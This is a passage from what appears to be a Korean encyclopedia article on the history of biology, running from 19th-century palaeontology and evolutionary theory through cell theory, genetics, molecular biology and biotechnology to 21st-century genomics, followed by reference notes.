이루었다. 살아있는 포유류와 화석을 상세하게 비교한 일련의 강의와 논문을 통해서 퀴비에는 널리 믿어져온 바와 같이 화석이 현존하는 생물의 잔해가 아니라 이미 멸종한 생물의 잔해라는 것을 확증했다.[35] 기드온 멘텔, 윌리엄 버클랜드, 메리 애닝, 리처드 오언 등에 의해 발견되고 기술된 화석들은 '포유류의 시대' 이전에 '파충류의 시대'가 있었음을 입증하는데 도움을 주었다. 이러한 발견은 대중의 상상력을 불러 일으켰고, 생명의 역사에 관심을 집중시켰다.[36] 대부분의 지질학자들은 격변설(천변지이설)을 지지하였지만, 찰스 라이엘은 그의 영향력있는 저서 《지질학의 원리》(Principles of Geology) (1830) 를 통해 과거 지질 시대의 지각 변화는 현재와 똑같은 과정과 속도로 일어났다는 제임스 허턴의 동일과정설을 대중화시켰다.[37] 진화와 생물지리학[편집] 진화론의 역사 문서를 참고하십시오. 다윈 이전에 가장 중요한 진화론은 장바티스트 라마르크의 이론이었다. 라마르크의 이론은 획득형질이 유전된다(20세기까지 널리 받아들여진 유전 메커니즘)라는 것으로 이를 하등한 미생물에서 사람에 이르기까지 일련의 진화 과정을 묘사했다.[38] 영국의 박물학자 찰스 다윈은 훔볼트의 생물지리학적 접근, 라이엘의 동일과정설에 근거한 지리학, 토머스 멜서스의 인구론과 자신의 형태학적 전문성을 결합하여 자연선택설에 기초한 보다 발전적인 진화론을 만들었다. 앨프리드 러셀 월리스도 독자적인 연구를 통해 같은 결론에 도달했다.[39] 1859년 찰스 다윈이 《종의 기원》(On the Origin of Species)을 출판한 것은 현대 생물학의 역사에서 중요한 사건으로 여겨진다. 이전의 진화에 대한 출간물에 비해 《종의 기원》이 성공적일 수 있었던 이유로 박물학자로서 다윈의 확고한 신뢰성, 책에서의 차분한 논조, 제시된 증거의 뚜렷한 강조 및 적절한 분량 등을 꼽을 수 있다. 19세기 말에 이르자 대부분의 과학자들은 진화와 공통 조상에 대해 확신하게 되었다. 그러나 그 당시의 주된 유전 이론과 무작위적 변이의 유전은 서로 양립할 수 없는 것처럼 보였기 때문에, 자연선택은 20세기에 들어와서까지 진화의 주요 메커니즘으로 받아들여지지 않았다.[40] 찰스 다윈의 종의 변화에 대한 그의 첫 번째 노트(1837)에서 진화계통수에 관한 스케치 드 캉돌, 훔볼트, 다윈의 연구에 이어 윌리스는 동물지리학에 큰 공헌을 하였다. 돌연변이설에 대한 관심 때문에 월리스는 남아메리카에 이은 말레이 제도에서의 야외 연구를 수행하면서 유사한 종들 간의 지리적 분포에 특별한 관심을 기울였다. 말레이 군도에 머무르는 동안 월리스는 아시아와 뉴기니/호주 사이의 군도의 동물군을 구분짓는 말루쿠 제도를 통과하는 월리스 선을 확인했다. 비슷한 기후를 가진 섬들의 동물군이 왜 그렇게 달라야하는지에 대한 월리스의 핵심 질문은 각 생물들의 기원을 고려함으로써 해답을 얻을 수 있었다. 월리스는 1876년에 《동물의 지리적 분포》(The Geographical Distribution of Animals)를 출판하였고, 1880년에 속편으로 섬 생물지리학에 초점을 맞춘 《도서 생물》(Island Life)을 출판했다. 월리스는 조류의 지리적 분포를 설명하기 위해 필립 스클레이터가 제안한 6구역 체계를 모든 종류의 동물에게 확장 적용했다. 지리적 영역에서 동물 집단에 대한 데이터를 도표화하는 월리스의 방법은 불연속성을 강조했고, 이러한 인식들로 인해 그 전에 행해지지 않은 진화에 대한 합리적인 설명을 할 수 있었다.[41][42] 유전에 대한 과학적 연구는 다윈의 《종의 기원》 이후 프랜시스 골턴과 생물통계학자들의 연구로 빠르게 성장했다. 유전학의 기원은 훗날 유전법칙을 만든 것으로 인정받는 오스트리아의 성직자 그레고어 멘델의 1865년의 논문으로까지 거슬러 올라간다. 그러나 멘델의 연구는 35년이 지나도록 중요한 것으로 인정받지 못했다. 그 동안 범생설(pangenesis, 다윈의 유전 가설), 정향진화설(orthogenesis) 또는 다른 메커니즘에 기초한 다양한 유전 이론들이 토론되고, 활발하게 연구되었다.[43] 특히 진화와 관련이 있고, 에른스트 헤켈의 연구에 의해 대중화된 발생학 및 생태학도 또한 생물학의 중심적인 분야가 되었다. 그러나, 19세기의 유전에 대한 연구의 대부분은 박물학의 영역이 아니라 실험적인 생리학의 영역에서 이루어졌다. 생리학[편집] 19세기에 걸쳐 생리학의 범위는 의료 분야 뿐만 아니라 사람, 식물, 동물 심지어 미생물까지 포함한 생물의 물리적, 화학적 과정에 대한 광범위한 연구에 이르기까지 크게 확장되었다. 생물을 기계론적으로 이해하려는 사고가 지배적이었다.[44] 루이 파스퇴르와 다른 생물학자들이 발전시킨 혁신적인 실험실 유리 기구들과 실험 방법들은 19세기 후반 세균학의 발전에 기여했다. 세포설, 발생학, 세균설[편집] 현미경 사용법의 발전 또한 생물학적 사고에 큰 영향을 미쳤다. 19세기 초에 많은 생물학자들은 세포의 중요성에 대해 지적했다. 독일의 슐라이덴(1838년)과 슈반(1839년)은 (1)세포가 생물의 기본 단위이고, (2)생물은 한 개 이상의 세포로 이루어져 있고, (3)세포는 기존의 세포로부터 생긴다는 생각을 제시했다. 로베르트 레마크와 루돌프 피르호의 연구 덕분에 1860년대에 이르러 대부분의 생물학자들은 세포설로 알려진 3가지 원리를 모두 수용하게 되었다.[45] 세포설은 생물학자들로 하여금 생물이란 개별 세포들의 상호의존적인 집합체라고 생각하게 만들었다. 점점 더 강력한 현미경과 새로운 염색 방법으로 무장한 세포생물학자들은 단일 세포조차도 이전의 학자들이 묘사한 균일한 체액으로 가득차 있는 작은 공간이 아니라 보다 훨씬 더 복잡하다는 것을 알아냈다. 로버트 브라운은 1831년에 세포핵을 기술했으며, 19세기 말에 세포생물학자들은 염색체, 중심체, 미토콘드리아, 엽록체 및 염색을 통해 볼 수 있는 다른 구조 같은 주요 세포 구성요소들을 확인했다. 1874년에서 1884년 사이에 발터 플레밍은 살아있는 세포의 체세포 분열 각 단계를 기술하고, 세포 분열 직전에 염색체 수가 2배가 되고 딸세포가 만들어진다는 것을 알아냈다. 세포 복제에 대한 많은 연구가 아우구스트 바이스만의 유전 이론과 합쳐졌다. 바이스만은 핵(특히 염색체)을 유전 물질로 확인하고, 체세포와 생식 세포를 구별할 것을 제안했으며(생식 세포의 염색체 수가 체세포의 절반이 되어야한다는 주장은 감수 분열에 대한 선구적인 개념이었다), 휘호 더 프리스의 범생설을 받아들였다. 바이스만은 특히 새로운 분야인 실험적 발생학에서 영향력이 컸다.[46] 1850년대 중반까지 질병의 미아즈마설은 질병의 세균설로 대체되어, 미생물 및 미생물과 다른 생물의 상호작용에 대한 광범위한 관심을 불러왔다. 1880년대에 세균학은 페트리 접시에 특정 영양소를 함유한 한천배지에서 순수 배양을 위한 방법을 도입한 로베르트 코흐의 연구를 통해 일관성을 갖춘 학문이 되었다. 생물이 살아있지 않은 물질로부터 생겨난다는 오랜 생각(자연발생설)은 루이 파스퇴르에 의해 수행된 일련의 실험으로 공격받게 되었고, 생기론 대 기계론에 대한 논쟁(아리스토텔레스와 고대 그리스의 원소론자들의 시대 이후에 계속 반복되는 쟁점)은 계속 진행되었다.[47] 유기화학 및 실험 생리학의 부상[편집] 화학에서 한 가지 핵심 쟁점은 유기물과 무기물의 구분이었고, 특히 발효와 부패같은 유기적 변형의 경우 더욱 그러했다. 아리스토텔레스 이후로 이러한 과정들은 본질적으로 생물학적 과정으로 간주되어 왔다. 그러나, 프리드리히 뵐러, 유스투스 폰 리비히 및 라부아지에의 연구에 기반한 유기화학의 발전 분야의 다른 개척자들은 유기적인 세계는 종종 물리적인 방법 및 화학적인 방법으로 분석될 수 있음을 보여주었다. 1828년 뵐러는 유기물인 요소가 생명체 내에서가 아닌 화학적 수단에 의해 생명체 밖에서 만들어질 수 있음을 보여주었고, 생기론에 대해 강력한 도전장을 내밀었다. 1833년에 다이아스테이스를 시작으로 화학적 변환을 일으킬 수 있는 세포추출물(효소)이 발견되었다. 19세기 말에 이르러서 효소에 대한 개념이 확립되었으나, 20세기 초까지 효소 반응에서 화학 반응 속도론은 적용되지 않았다.[48] 클로드 베르나르 같은 생리학자들은 전례가 없을 정도로 생체의 화학적, 물리적 기능을 연구하여(생체 해부 및 기타 실험적 방법을 통해) 내분비학(1902년 세크레틴이라는 호르몬이 최초로 발견된 후 급속하게 발전한 분야), 생물역학, 영양 및 소화에 대한 연구의 토대를 마련했다. 의학과 생물학 모두에서 실험 생리학적 방법의 중요성과 다양성은 19세기 후반에 급격히 증가했다. 생명 현상의 제어와 조작이 중요 관심사가 되었으며, 생물 교육의 중심에 실험이 배치되었다.[49] 20세기의 생명과학[편집] 미디어 재생 1920년대에 촬영된 도룡뇽 배아의 발생 과정 20세기 초에 생물학 연구는 대체로 전문적인 시도들이었다. 대부분의 연구는 여전히 박물학적인 방법으로 행해졌는데, 실험에 근거한 인과적인 설명보다 형태학적, 계통발생학적 분석을 더 강조했다. 그러나, 생기론에 반대하는 실험 생리학자와 발생학자들의 영향력이 특히 유럽에서 커져갔다. 1900년대와 1910년대의 발생, 유전, 물질대사에 대한 실험적 접근 방법의 엄청난 성공은 생물학에 있어 실험의 힘을 보여주었다. 이 후 수십 년에 걸쳐 실험적 연구 방식이 박물학적 연구 방식을 대체해가며 생물학 연구에서 지배적인 방식이 되었다.[50] 생태학 및 환경과학[편집] 생태학의 역사 문서를 참고하십시오. 20세기 초에 박물학자들은 다른 실험실 중심의 생물학 분야들처럼 그들의 연구 방법에 정밀함과 가급적 실험을 더해야한다는 압력의 증가에 직면하게 되었다. 생태학은 화학자들에 의해 주창된 생물지구화학적 순환의 개념과 생물지리학의 결합으로 등장했다. 야외 생물학자들은 전통적인 박물학과는 다르게 연구를 진행하기 위해 방형구 및 야외에 알맞게 개조된 실험 장비와 카메라와 같은 정량적인 방법들을 발전시켰다. 동물학자들과 식물학자들은 실험실에서 실험을 수행하거나 정원처럼 어느 정도 통제된 자연 환경에 대해 연구하는 등의 생명 현상의 예측 불가능성을 완화할 수 있는 수단들을 사용했다. 콜드스프링하버 연구소 및 우즈홀 해양생물학 연구소 같은 새로운 연구기관들은 전체적인 생애주기에 대한 생물 연구에 있어 보다 통제된 환경들을 제공했다.[51] 1900년대와 1910년대에 헨리 챈들러 카울스와 프레더릭 클레먼츠가 개척한 생태적 천이 개념은 초기 식물생태학에서 중요했다.[52] 알프레드 로트카의 피식자-포식자 상호작용에 관한 방정식, 조지 이블린 허친슨의 호수와 강의 생물지구화학적 구조(육수학)과 생물지리학에 대한 연구, 찰스 엘튼의 동물 먹이 사슬에 대한 연구는 생태학의 전문 분야들을 확장시키는 양적 방법들의 대표라 할 수 있다. 유진 P. 오덤이 생태계에 대한 많은 개념들을 종합한 이 후에 생태학은 1940년대와 1950년대에 독립적인 학문이 되었다. 생태학은 생물군들 간의 관계(특히, 물질과 에너지 관계)를 중요하게 다루고 있다.[53] 1960년대에 진화론자들이 여러 선택 단위의 가능성을 모색함에 따라 생태학자들도 진화적인 접근법을 도입하기 시작했다. 개체군생태학에서 집단선택에 대한 논쟁은 짧지만 매우 활발했다. 1970년에 이르자 대부분의 생물학자들은 단일 개체 수준에서는 자연선택이 거의 일어나지 않는다는데에 동의했다. 생태계의 진화는 지속적인 연구의 초점이 되었다. 환경운동의 부상으로 생태학은 급속도로 확대되었다. 국제 생물학 사업계획(International Biological Program)은 생태계생태학과 환경문제에 거대과학적 방법(물리학에서 아주 성공적이었던)을 적용하려고 시도했다. 도서생물지리학과 허바드 브룩 실험 숲과 같은 보다 작은 규모의 독자적인 시도들은 점차 다양한 분야의 영역을 재정의하는데 도움이 되었다.[54] 고전유전학, 현대 종합설 및 진화론[편집] 유전학의 역사, 모델 생물의 역사, 현대 종합설 문서를 참고하십시오. 토머스 헌트 모건의 교차에 대한 일러스트 1900년에 소위 멘델의 재발견이라 불리는 사건이 있었다. 휘호 더 프리스, 카를 코렌스, 에리히 폰 체르마크는 독자적으로 멘델의 유전법칙(실제 멘델의 연구에서는 존재하지 않음)을 밝혀냈다.[55] 얼마 후, 세포생물학자들은 염색체가 유전물질임을 제안했다. 1910년과 1915년 사이에 토머스 헌트 모건과 그의 초파리 실험실의 연구원들은 유전현상의 염색체설에 대한 논쟁적인 두 가지 생각을 다듬어 나갔다.[56] 그들은 유전자 연관 현상을 정량화하고, 유전자가 끈에 꿰인 구슬처럼 염색체에 존재한다고 가정했다. 그들은 연관을 설명하기 위해 교차를 가설로 세우고 널리 사용되는 모델 생물이 된 초파리(Drosophila melanogaster)의 유전자 지도를 만들었다.[57] 휘호 더 프리스는 새로운 유전학과 진화론을 연결하려고 시도했는데, 유전과 잡종에 대한 그의 연구를 바탕으로 20세기 초에 널리 받아들여진 돌연변이설을 제안했다. 또한 많은 이들이 용불용설을 지지했다. 다윈의 진화론은 생물통계학자들에 의해 연구된 연속적으로 변하는 형질과 양립할 수 없는 것으로 여겨졌는데, 이는 부분적으로 유전적인 것처럼 여겨졌다. 1920년대와 1930년대에 염색체설의 수용에 이어 로널드 피셔, J. B. S. 홀데인, 시월 라이트의 연구에 의한 집단유전학의 출현은 자연선택에 의한 진화론과 멘델유전학을 통합시켰고 현대 종합설을 탄생시켰다. 획득 형질의 유전은 받아들여지지 않게 되었고, 유전 이론이 성숙해감에 따라 돌연변이설도 사그러들었다.[58] 20세기 후반에 집단유전학은 행동, 사회생물학, 특히 인간의 진화심리학 같은 유전학의 새로운 분야에 적용되기 시작했다. 1960년대에 윌리엄 도널드 해밀턴 등은 진화론적 관점에서 혈연 선택을 통해 이타성을 설명하기 위한 게임 이론 접근법을 개발했다. 세포 내 공생설을 통한 고등 생물의 가능성 있는 기원, 그리고 유전자 중심의 관점(진화의 주된 원인으로 선택을 지지함)과 중립설(유전적 부동을 핵심 요인으로 봄)에서의 분자 진화에 대한 대조적인 접근법은 진화론에서 적응주의와 우연성의 적절한 균형에 대한 지속적인 논쟁을 불러 일으켰다.[59] 1970년대에 스티븐 제이 굴드와 닐스 엘드리지는 정체됨이 화석 기록의 가장 두드러진 특징이고, 대부분의 진화적 변화는 비교적 짧은 시간에 걸쳐 빠르게 일어난다고 주장하는 단속평형설을 제안했다.[60] 1980년대에 루이스 앨버레즈와 월터 앨버레즈는 백악기-제3기 대멸종이 운석 충돌에 의해 일어났다는 가설을 제안했다.[61] 또한 1980년대 초 잭 셉코스키와 데이비드 라웁에 의해 발표된 해양 생물의 화석 기록에 대한 통계적 분석은 지구 생명체의 역사에서 대멸종 사건의 중요성에 대해 보다 잘 이해할 수 있는 계기를 마련해 주었다.[62] 생화학, 미생물학, 분자생물학[편집] 생화학의 역사, 분자생물학의 역사 문서를 참고하십시오. 19세기 말까지 약물 대사의 주요 경로 대부분이 단백질과 지방산의 대사 및 요소 합성의 대략적인 과정과 함께 밝혀졌다.[63] 20세기의 처음 10년 간 부영양소인 비타민이 분리되고 합성되기 시작했다. 크로마토그래피 및 전기영동과 같은 향상된 실험 기술들은 생화학의 급속한 발전으로 이어졌다. 1920년대와 1930년대에 한스 크렙스, 거티 코리, 칼 코리 같은 생화학자들은 시트르산 회로, 글리코젠 합성, 해당과정, 스테로이드와 포르피린의 합성과 같은 여러 주요 대사 경로들을 연구하기 시작했다. 1930년대와 1950년대 사이에 프리츠 리프만 등은 세포에서 보편적인 에너지 운반체인 ATP와 세포의 발전소인 미토콘드리아의 역할을 밝혀냈다. 이러한 전통적인 생화학 연구는 20세기를 거쳐 21세기에 이르기까지 매우 활발하게 이어지고 있다.[64] 분자생물학의 기원[편집] 고전유전학의 부상에 따라 생물학을 연구하는 물리학작들을 포함한 많은 생물학자들은 유전자와 유전자의 물리적인 성질의 문제를 연구했다. 1938년에 록펠러 재단의 과학 부문 책임자인 워렌 위버는 물리학 및 화학적인 방법을 기본 생물학 문제들에 적용한 연구를 촉진하기 위해 "분자생물학"이란 용어를 만들어냈다. 1930년대와 1940년대의 중요한 생물학적 돌파구 중 상당수는 록펠러 재단의 자금 지원을 받았다.[65] 1935년에 웬들 스탠리가 담배 모자이크 바이러스를 순수한 핵단백질로 결정화시킨 것은 많은 과학자들에게 유전 현상이 물리학과 화학을 통해 설명될 수 있음을 확신시켜 주었다. 생화학과 마찬가지로 과학과 의학 사이에 위치한 세균학과 바이러스학(후에 미생물학으로 합쳐짐)의 중첩되는 분야들은 20세기 초반에 급속하게 발전했다. 펠릭스 데렐은 제1차 세계대전 중에 박테리오파지를 분리하여 파지 바이러스와 그들이 감염시키는 세균에 초점을 맞춘 긴 연구를 시작했다.[66] 반복적인 실험 결과를 생성할 수 있는 유전적으로 균일한 모델 생물은 분자유전학의 발전에 필수적이었다. 초파리와 옥수수를 가지고 초기 연구를 수행한 이후 붉은빵곰팡이(Neurospora crassa)와 같은 더 간단한 모델 생물을 채택함으로서 1941년에 비들과 테이텀의 1유전자 1효소설처럼 유전학과 생화학을 서로 연결할 수 있게 되었다. 전자 현미경 및 초원심분리와 같은 새로운 기술에 힘입어 생물보다 간단한 시스템을 가진 담배 모자이크 바이러스 및 박테리오파지에 대한 유전학 실험은 과학자들에게 문자 그대로 생명의 의미에 대해 다시 생각하게끔 만들었다. 바이러스의 유전과 핵 밖에서 핵단백질 구조를 재생하는 것(세포질유전자)는 유전 이론을 보다 복잡하게 만들었다.[67] 1958년 프랜시스 크릭은 "분자생물학의 중심원리"(원래는 농담삼아 "원리"라고 하였음)를 제안했다.[68] 그림은 크릭이 당시 중심원리를 어떻게 생각하고 있었는지를 보여준다. 실선은(1958년에 보여졌듯이) 알려진 정보 전달을 나타내고, 실선은 가정한 정보 전달을 나타낸다. 1943년에 오즈월드 에이버리는 염색체 속의 유전물질이 단백질이 아니고 DNA임을 보여주었다. 이 문제는 1952년 허시와 체이스의 실험에 의해 결정적으로 해결되었는데, 이는 물리학자에서 생물학자로 전향한 막스 델브뤽이 중심이 된 이른바 파지 그룹의 많은 공헌들 중의 하나이다. 1953년에 제임스 왓슨과 프랜시스 크릭은 모리스 윌킨스와 로잘린드 프랭클린의 연구 성과를 바탕으로 DNA 구조가 이중 나선 구조임을 제안했다. "핵산의 분자 구조(Molecular structure of Nucleic Acids)"라는 유명한 논문에서 왓슨과 크릭은 "우리는 상보적인 염기쌍이 유전물질에 대한 가능한 복제 메커니즘을 암시하고 있다는 것을 알 수 있었다."고 말했다.[69] 1958년 메셀슨과 스탈의 실험에 의해 DNA의 반보존적 복제가 확인된 후에 대부분의 생물학자들은 핵산의 염기 서열이 어떻게든 단백질의 아미노산 서열을 결정한다고 봤다. 물리학자인 조지 가모프는 유전 암호가 DNA와 단백질을 연결시킨다고 제안했다. 1953년에서 1961년 사이에 DNA와 단백질에 대해 알려진 생물학적 서열이 거의 없었지만 다수의 제안된 암호 체계와 RNA의 중계 역할에 대한 지식의 확대로 더욱 복잡한 상황이 되었다. 유전 암호를 실제로 해독하기 위해서 1961년에서 1966년 사이에 생화학 및 세균 유전학에서 일련의 실험들이 수행되었는데, 가장 중요한 연구는 니런버그와 코라나의 연구였다.[70] 분자생물학의 확장[편집] 칼텍의 생물학과, 케임브리지의 분자생물학 연구소, 파스퇴르 연구소 등은 1950년대 후반 분자생물학 연구의 주요 거점이 되었다.[71] 막스 페루츠와 존 켄드류가 이끄는 케임브리지의 과학자들은 분자 모델링을 위한 X선 결정학과 디지털 컴퓨팅의 새로운 계산 가능성을 결합하여 급속히 발전하는 분야인 구조생물학에 집중했다.(군사 기금으로부터 과학이 직간접적으로 이익을 얻는 사례) 나중에 프레더릭 생어가 이끄는 많은 생화학자들이 케임브리지 실험실에 합류하여 고분자의 구조와 기능을 연구했다.[72] 파스퇴르 연구소에서 프랑수아 자코브와 자크 모노는 1959년에 파디-자코프-모노 실험(일명 파자모 실험)을 통해 유전자 발현 조절의 개념 수립 및 mRNA로 알려졌던 것을 확인하게 한 lac 오페론에 관한 일련의 출판물들을 발표했다.[73] 1960년대 중반에 분자생물학의 핵심이라 할 수 있는 물질대사와 생식의 분자적 기초에 관한 모델이 대체적으로 완성되었다.[74] 1950년대 후반부터 1970년대 초반까지는 분자생물학에 대한 집중적인 연구와 연구 기관의 확장 시기였고 최근의 분자생물학은 다소 일관성 있는 분야가 되었다. 생물학자 에드워드 윌슨이 "분자 전쟁"이라 부르기도 했던, 분자생물학적 방법과 분자생물학자들의 급속한 확산은 종종 해당 학과와 심지어 해당 학문 분야 전체를 지배하게 되었다.[75] 분자화는 특히 유전학, 면역학, 발생학, 신경과학에서 중요하며 "유전적 프로그램"(자코브와 모노가 사이버네틱스와 컴퓨터 과학으로부터 차용한 은유)에 의해 생명이 통제된다는 생각은 생물학 전반에 걸쳐서 영향력 있는 관점이 되었다.[76] 특히 면역학은 분자생물학과 연결되어 혁신이 진행되었다. 1950년대 중반에 닐스 예르네와 프랭크 맥팔레인 버넷이 발전시킨 클론선택설은 단백질 합성에 대한 일반적인 기전을 밝혔다.[77] 분자생물학의 영향에 대한 저항은 진화생물학에서 특히 두드러졌다. 단백질 아미노산 서열 분석은 진호에 대한 정량적 연구(분자시계 가설을 통해)에 큰 잠재력을 가지고 있지만, 진화생물학자들은 진화론적 인과 관계에 대한 커다란 문제들에 답하기 위한 분자생물학의 관련성에 의문을 제기했다. 개체 생물학자들이 자신들의 중요성과 독립성을 주장하면서 각 학과와 학문분야들은 나뉘어졌다. 테오도시우스 도브잔스키는 분자생물학의 도전에 대한 반응으로 "진화를 통하지 않고서는 생물학의 그 무엇도 의미가 없다."는 유명한 말을 남겼다. 이 문제는 1968년 이후에 더욱 중요해졌는데, 기무라 모토의 분자 진화의 중립설은 적어도 분자 수준에서는 자연선택이 진화의 아주 흔한 원인이 아니며, 분자 진화는 형태학적 진화와 근본적으로 다른 과정일 수 있다고 제안했다.(이러한 "분자/형태학적 역설"을 해결하는 것이 1960년대 이후로 분자 진화 연구의 중심이었다.)[78] 생명공학, 유전공학, 유전체학[편집] 생명공학의 역사 문서를 참고하십시오. 생명공학은 일반적으로 19세기 후반부터 생물학의 주요 부문이었다. 양조와 농업의 산업화로 인해 화학자와 생물학자들은 인간이 통제하는 생물학적 과정의 커다란 가능성을 인식하게 되었다. 특히, 발효는 화학산업에 큰 이익을 가져다 줄 수 있음을 보여주었다. 1970년대 초반에 페니실린, 스테로이드와 같은 약물부터 클로렐라 같은 식품에 이르기까지 단세포 단백질에서 가소홀(gasohol) 같은 연료뿐만 아니라 녹색 혁명에 기초한 광범위한 잡종 고수확성 작물 및 농업 기술의 향상등 생명공학이 광범위하게 발전하였다.[79] 세심하게 조작된 대장균(Escherichia coli) 균주는 생명공학 뿐만 아니라 다른 많은 생물학 분야에서 중요한 도구이다. 재조합 DNA[편집] 1970년대에 재조합 DNA 기술의 발명으로 현대적 의미의 생명공학이 시작되었다.[80] 제한 효소는 1960년대 후반에 발견되어 특징지어졌으며, 이어서 분리, 복제, 바이러스 유전자 합성이 뒤따랐다. 1972년 폴 버그의 연구실을 시작으로(허버트 보이어 연구실의 EcoRI, 아서 콘버그 연구실의 연결 효소(리게이스) 연구가 기반이 됨) 분자생물학자들은 이 조각들을 모아 최초의 유전자 변형 생물을 만들었다. 곧이어, 연구자들은 플라스미드 벡터를 사용하고 항생제 저항성 유전자를 추가하기 시작하여 재조합 기술의 범위를 크게 확장시켰다.[81] 잠재적인 생물학적 위험(특히 바이러스성 암 유발 유전자를 가진 번식력이 좋은 세균의 확산 가능성)을 경계하면서 광범위한 과학계 외부 인사들뿐만 아니라 과학계도 열정과 두려움을 가지고 생명공학 기술 발전에 반응했다. 폴 버그가 주도한 저명한 분자생물학자 그룹은 연구의 위험성을 평가하고 관련 정책을 수립할 때까지 재조합 DNA 연구에 대한 일시적인 활동 중단을 제안했다. 이러한 활동 중단은 1975년 재조합 DNA에 대해 애실로마 회의 참가자들이 정책 권고안을 작성하고, 이 기술을 안전하게 사용할 수 있다고 결론을 내리기 전까지 크게 수용되었다.[82] 애실로마 회의 이후 새로운 유전공학 기술과 응용 분야가 급속하게 발전했다. 올리고뉴클레오타이드 합성 및 형질주입 기술과 함께 DNA 염기서열 분석방법(프레더릭 생어와 월터 길버트가 개척함)이 크게 향상되었다.[83] 연구자들은 도입된 유전자의 발현을 조절하는 방법을 알게 되었고, 곧이어 사람의 호르몬 생산을 위해 사람의 유전자를 발현시킬 수 있는 생물체를 만들기 위해 경쟁하였다. 그러나, 이것은 분자생물학자들이 기대했던 것보다 훨씬 더 어려운 작업이었다. 1977년과 1980년 사이에 분할유전자(split gene), RNA 스플라이싱 현상의 발견 같은 발전에 힘입어, 고등 생물은 이전 연구의 세균보다 훨씬 더 복잡한 유전자 발현 시스템을 가지고 있음이 드러났다.[84] 사람의 인슐린 합성을 위한 첫 번째 경쟁에서 미국의 제넨테크사(Genentech, Inc.)가 승리했다. 이것은 생물학, 산업, 법 사이에 전례없는 수준의 공통 부분을 공유하는, 생명공학 붐(그리고 이것은 유전자 특허의 시대)의 시작을 의미했다.[85] 분자계통학, 유전체학[편집] 분자 진화의 역사 문서를 참고하십시오. 48웰 유전자 증폭기의 내부, 한 번에 많은 샘플에서 중합효소 연쇄 반응(PCR)을 수행하는데 사용하는 기기 1980년대까지 단백질 아미노산 서열 분석은 이미 생물의 과학적 분류 방법(특히 분지학)을 완전히 바꿔놓았지만, 생물학자들은 곧이어 RNA와 DNA 염기 서열을 분류 형질로 사용하기 시작했다. 이것은 분자계통학의 결과가 형태학에 기초한 전통적인 진화계통수와 비교될 수 있기 때문에 진화생물학 내에서 분자 진화의 중요성을 확대시켰다. 진핵생물의 세포소기관 중 일부가 공생 관계를 통해 자유로이 살아가던 원핵생물로부터 유래하였음을 지지하는 세포 내 공생설에 관한 린 마굴리스의 선구적인 견해에 따라 생명의 나무의 전체적인 부분이 수정되었다. 1990년대에 16S rRNA 염기서열 분석으로 칼 우스가 개척한 분자계통학 연구에 기반하여 기존의 5계 분류 체계(원핵생물계, 원생생물계, 식물계, 균계, 동물계)가 3역 분류 체계(원핵생물역, 고세균역, 진핵생물역)로 바뀌었다.[86] 1980년대 중반 세투스 사의 캐리 멀리스와 다른 연구자들에 의한 중합효소 연쇄 반응(PCR)의 개발과 보급은 현대 생명공학의 역사에서 또 다른 분수령이었으며 유전자 분석의 용이성과 속도를 크게 증가시켰다.[87] 표지된 서열 태그의 사용과 함께, PCR은 전통적인 생화학적, 유전학적 방법을 통해 찾을 수 있는 것보다 더 많은 유전자를 발견하고 전체 게놈(유전체)을 염기 서열 분석할 수 있는 가능성을 열었다.[88] 수정란에서부터 성체에 이르기까지 수 많은 생물에서의 형태 형성의 단일성은 처음에는 초파리에서 나중에는 사람을 포함한 다른 곤충들과 동물들에서 호메오박스 유전자가 발견된 후에 풀리기 시작했다. 이러한 발전은 동물계의 다양한 신체 계획들이 어떻게 진화해왔고, 동물들 간에 어떻게 서로 연관되어 있는지 이해하는 쪽으로 진화발생생물학의 발달을 이끌었다.[89] 인간 게놈 프로젝트(지금까지 수행된 가장 규모가 크고, 비싼 비용이 들어간 단일 생물학 연구 프로젝트)는 대장균(E. coli), 맥주효모(S. cerevisiae), 예쁜꼬마선충(C. elegans)과 같은 유전적으로 단순한 모델 생물에 대한 예비 연구를 거친 후 제임스 왓슨을 필두로 1988년에 시작되었다. 크레이그 벤터(셀레라 제노믹스 사의 유전자 특허에 대한 재정적 약속에 힘입어)가 개척한 샷건 시퀀싱 및 유전자 발견 방법들은 정부-민간 사이의 DNA 염기 서열 분석 경쟁을 이끌었고, 2000년에 인간 DNA 염기 서열 초안의 발표 과정에서 서로 타협점을 찾음으로써 마무리되었다.[90] 21세기의 생명과학[편집] 21세기 초에 생명과학은 물리학과 같은 고전적인 분야와 생물물리학과 같은 이전과는 차별화된 새로운 분야로 크게 수렴되었다. 개선된 센서, 광학, 추적기, 기기 장치, 신호 처리, 네트워크, 로봇, 인공 위성을 포함하는 분석화학 및 물리적 기기 장치들의 발전과 데이터 수집, 저장, 분석, 모델링, 시각화, 시뮬레이션을 위한 컴퓨터 성능의 발전이 이루어졌다. 이러한 기술 발전은 생화학, 생물 시스템, 생태학등의 연구 성과를 인터넷을 통해 발표하고 이론 연구 및 실험 연구를 가능하게 했다. 이를 통해 더 나은 측정, 이론 모델, 복잡한 시뮬레이션, 이론 예측 모델 실험, 분석, 전세계적인 인터넷 관측 데이터 보고, 공개적인 동료 간의 검토, 공동 연구 및 인터넷 발표에 대한 전세계적인 접근이 가능해졌다. 생물정보학, 신경과학, 이론생물학, 계산유전체학, 우주생물학, 합성생물학 같은 생명과학의 새로운 연구 분야들이 등장했다. 같이 보기[편집] 생물학과 유기화학의 연대표 각주[편집] ↑ “biology, n.”. 《Oxford English Dictionary online version》. Oxford University Press. September 2011. 2011년 11월 1일에 확인함.  ↑ Junker Geschichte der Biologie, p8. ↑ Coleman, Biology in the Nineteenth Century, pp 1–2. ↑ Mayr, The Growth of Biological Thought, pp36–37 ↑ Coleman, Biology in the Nineteenth Century, pp 1–3. ↑ Magner, A History of the Life Sciences, pp 2–3 ↑ Magner, A History of the Life Sciences, pp 3–9 ↑ Magner, A History of the Life Sciences, p. 4 ↑ Needham, Joseph; Ronan, Colin Alistair (1995). 《The Shorter Science and Civilisation in China: An Abridgement of Joseph Needham's Original Text, Vol. 1》. Cambridge University Press. 101쪽. ISBN 0-521-29286-7.  ↑ Magner, A History of the Life Sciences, p. 6 ↑ Girish Dwivedi, Shridhar Dwivedi (2007). “History of Medicine: Sushruta – the Clinician – Teacher par Excellence” (PDF). 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London vdeh생물학의 역사관련 분야 고생물학의 역사 농업의 역사 농업과학의 역사 동물학의 역사 (1859년 까지) 동물학의 역사 (1859년 이후) 모델 생물의 역사 면역학의 연대표 분자생물학의 역사 분자 진화의 역사 생명공학의 역사 생태학의 역사 생화학의 역사 식물계통분류학의 역사 식물학의 역사 유전학의 역사 의학의 역사 조류학의 역사 지질학의 역사 진화론의 역사 해부학의 역사 RNA 